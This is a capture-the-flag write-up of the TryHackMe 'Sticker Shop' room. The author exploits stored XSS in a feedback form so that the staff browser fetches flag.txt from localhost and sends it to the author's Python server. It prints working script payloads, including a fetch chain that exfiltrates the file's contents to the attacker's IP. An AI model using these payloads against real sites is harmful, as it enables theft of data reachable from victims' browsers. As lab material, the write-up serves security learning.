The Sticker Shop — TryHackMe Write-up

Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!

They already give me the port number but for my convenience i run nmap scan:

Nothing important found

Web Enumeration

The target was: http://10.49.158.169:8080

First, I tried accessing the flag directly:

This returned 401 Unauthorized.

The website contained a Submit Feedback page. It also stated that submitted feedback would be evaluated by staff, which suggested that the feedback could be rendered in another user's browser.

From fuzzing(directory-list-2.3-medium.txt) i also got a directory that conform it:

Testing for XSS

1st i test normal xss nothings works, also it url encode it.

After some research I tested the feedback form with an XSS payload that caused the staff browser to connect back to my Kali machine:

<script src='http://192.168.131.58:8000/'></script>

<script src='http://192.168.131.58:8000/'></script>

On Kali, I started a Python HTTP server: python3 -m http.server 8000

I received requests from the target, This confirmed that JavaScript was being executed in the staff browser.

Understanding the Exploit

The important point was that the staff browser was running on the target machine.

Therefore:

127.0.0.1:8080

127.0.0.1:8080

referred to the target itself from the staff browser's point of view.

Although I could not directly read:

http://10.49.158.169:8080/flag.txt

http://10.49.158.169:8080/flag.txt

the JavaScript running in the staff browser could request:

http://127.0.0.1:8080/flag.txt

http://127.0.0.1:8080/flag.txt

I then used JavaScript to read the response and send it to my Kali web server.

Exploiting the XSS

I submitted:

Note: I use my tun0 kali IP in 2nd fetch.

<script>
fetch('http://127.0.0.1:8080/flag.txt')
  .then(response => response.text())
  .then(data => {
    fetch('http://192.168.131.58:8000/?data=' + encodeURIComponent(data))
  })
</script>

<script>
fetch('http://127.0.0.1:8080/flag.txt')
  .then(response => response.text())
  .then(data => {
    fetch('http://192.168.131.58:8000/?data=' + encodeURIComponent(data))
  })
</script>

The first fetch() requests the flag from the target's localhost.

fetch('http://127.0.0.1:8080/flag.txt')

fetch('http://127.0.0.1:8080/flag.txt')

Then:

response.text()

response.text()

converts the response into text.

Finally, the second fetch() sends the flag to my Kali machine:

fetch('http://192.168.131.58:8000/?data=' + encodeURIComponent(data))

fetch('http://192.168.131.58:8000/?data=' + encodeURIComponent(data))

encodeURIComponent() URL-encodes the flag so that special characters can safely be included in the request URL.

My Python server received:

Got the flag.

Note: Flag's {} are in encoded form so decode it.

Tools Used

Burp Suite
curl
Python HTTP Server
Browser Developer Tools
JavaScript fetch()

Conclusion

The challenge was solved by exploiting stored XSS in the feedback functionality. The XSS executed in the staff browser, allowing JavaScript to access the flag through 127.0.0.1:8080 and exfiltrate its contents to my Kali HTTP server.